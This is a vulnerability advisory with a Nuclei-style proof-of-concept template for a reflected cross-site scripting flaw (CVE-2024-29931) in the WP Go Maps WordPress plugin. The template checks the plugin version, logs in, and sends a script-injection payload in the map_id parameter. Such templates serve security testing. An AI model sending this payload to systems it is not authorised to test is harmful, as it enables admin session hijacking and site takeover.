CVE-2024-29931: WP Go Maps <= 9.0.29 - Cross-Site Scripting

2026-01-08 WP Go Maps PoC Public

Description

WP Go Maps (formerly WP Google Maps) plugin for WordPress versions before 9.0.30 is vulnerable to Reflected Cross-Site Scripting via the 'map_id' parameter in the admin map edit page.

PoC

id: CVE-2024-29931

info:
  name: WP Go Maps <= 9.0.29 - Cross-Site Scripting
  author: Shivam Kamboj
  severity: medium
  description: |
    WP Go Maps (formerly WP Google Maps) plugin for WordPress versions before 9.0.30 is vulnerable to Reflected Cross-Site Scripting via the 'map_id' parameter in the admin map edit page.
  impact: |
    Attackers can execute arbitrary scripts in authenticated admin browsers, potentially leading to session hijacking, privilege escalation, WordPress admin account takeover, malicious plugin installation, and website defacement.
  remediation: |
    Update WP Go Maps plugin to version 9.0.30 or later.
  reference:
    - https://patchstack.com/database/wordpress/plugin/wp-google-maps/vulnerability/wordpress-wp-go-maps-plugin-9-0-29-reflected-cross-site-scripting-xss-vulnerability
    - https://wpscan.com/vulnerability/03c3e0ab-3373-4ba6-90fb-a5245b0af34e/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-29931
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-29931
    epss-score: 0.00753
    epss-percentile: 0.5329
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 4
    vendor: codecabin
    product: wp_go_maps
    framework: wordpress
  tags: cve,cve2024,wordpress,wp,wp-plugin,xss,wp-google-maps,wp-go-maps,authenticated,vkev,vuln

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET /wp-content/plugins/wp-google-maps/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "compare_versions(version, '<= 9.0.29')"
          - "contains(body, 'WP Go Maps') || contains(body, 'WP Google Maps')"
        condition: and
        internal: true

    extractors:
      - type: regex
        part: body
        name: version
        group: 1
        regex:
          - 'Stable tag: ([0-9.]+)'
        internal: true

  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, 'wordpress_logged_in')
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=wp-google-maps-menu&action=edit&map_id=1%27%3E%3C/a%3E%3Cscript%3Ealert%28document.domain%29%3C/script%3E%3Ca%20x%3D%27 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "</a><script>alert(document.domain)</script><a", "wp-google-maps")'
        condition: and
# digest: 4a0a00473045022100e522358701ac4fd7001704d88887b5e062aa5d4b0cdc310fb33967c152fb74c30220212576fa8124a703461901e1517a3cc1229fe81a9ee8282010cdef75a67a85d8:922c64590222798bb761d5b6d8e72950

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